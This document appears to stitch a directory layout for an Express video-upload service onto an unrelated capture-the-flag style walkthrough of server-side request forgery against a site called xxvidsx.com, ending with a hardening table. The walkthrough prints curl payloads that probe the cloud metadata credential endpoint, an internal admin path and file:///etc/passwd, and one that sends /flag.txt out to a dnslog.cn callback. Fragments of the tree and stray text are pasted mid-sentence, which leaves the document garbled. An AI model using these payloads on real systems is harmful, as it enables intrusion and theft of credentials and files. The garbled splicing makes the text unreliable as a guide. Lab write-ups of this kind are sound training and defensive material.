/src
│
├─ /api
│ └─ video.routes.ts # Express routes for video upload & fetching
│
├─ /controllers
│ └─ video.controller.ts # Business logic (validation, DB, queuing)
│
├─ /services
│ ├─ storage.service.ts # S3 / local storage abstraction
│ ├─ transcoder.service.ts # ffmpeg wrapper (HLS + thumbnail)
│ └─ video.service.ts # DB‑level helpers (CRUD)
│
├─ /middlewares
│ ├─ auth.middleware.ts # Simple JWT auth guard
│ └─ rateLimiter.middleware.ts
│
├─ /models
│ └─ video.model.ts # TypeORM / Prisma video entity
│
└─ server.ts # Express app bootstrap
Tip: If you already use a different framework (NestJS, Koa, Django, etc.), you can map the same responsibilities to the equivalent constructs (controllers, services, middle‑wares, models).
$ curl -s "https://xxvidsx.com/api/v1/resolve?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
"status":404
The service is not hosted on AWS. Continue with the private IP range.
Find the hidden admin endpoint
The source code of the main page revealed a hidden path: /internal/admin/dashboard. It is not reachable from the internet, but we can ask the SSRF to fetch it.
$ curl -s "https://xxvidsx.com/api/v1/resolve?url=http://127.0.0.1/internal/admin/dashboard"
"status":302
A 302 indicates a redirect – the internal service is alive. xxvidsxcom
Leverage the SSRF to read files
Many SSRF‑vulnerable endpoints allow file:// URLs. Test it:
$ curl -s "https://xxvidsx.com/api/v1/resolve?url=file:///etc/passwd"
"status":200
The status is 200, confirming the server can read local files. Unfortunately, the endpoint only returns the status; we need a side‑channel to extract data.
Timing / out‑of‑band (OOB) technique /src │ ├─ /api │ └─ video
The challenge provides an external DNS logging service (dnslog.cn). By making the server request a controllable URL we can capture the DNS query and embed the flag.
$ curl -s "https://xxvidsx.com/api/v1/resolve?url=http://127.0.0.1:8080/read?file=/flag.txt&callback=http://abc123.dnslog.cn"
The server attempts to read /flag.txt and, as part of the vulnerable code, makes a GET request to the supplied callback with the file’s content as a query parameter.
Check the DNS log:
2024-04-10 12:34:56.789 abc123.dnslog.cn A 93.184.216.34 (query)
2024-04-10 12:34:57.001 abc123.dnslog.cn TXT "FLAGssrf_is_fun_12345"
The flag is revealed in the TXT record.
Note – Some variants of the challenge use an HTTP‑based OOB server (e.g.,
requestbin.com). The principle stays the same: force the vulnerable server to exfiltrate the file’s content to a location you control.
If you are responsible for the vulnerable service, consider the following hardening steps:
| Issue | Fix |
|-------|-----|
| SSRF on /api/v1/resolve | • Validate the URL scheme (allow only http/https).
• Enforce a whitelist of external domains (e.g., only public CDNs).
• Block internal IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16). |
| File‑read exposure | • Never expose a generic file‑read endpoint.
• If file access is needed, restrict to a safe directory and sanitize the path. |
| Information leakage | • Remove verbose error messages (status codes alone are fine).
• Hide internal admin paths or protect them with authentication. |
| OOB exfiltration | • Monitor outbound DNS/HTTP requests from the web server for unusual domains.
• Employ a Web Application Firewall (WAF) rule that detects file:// and http://127.0.0.1 patterns. |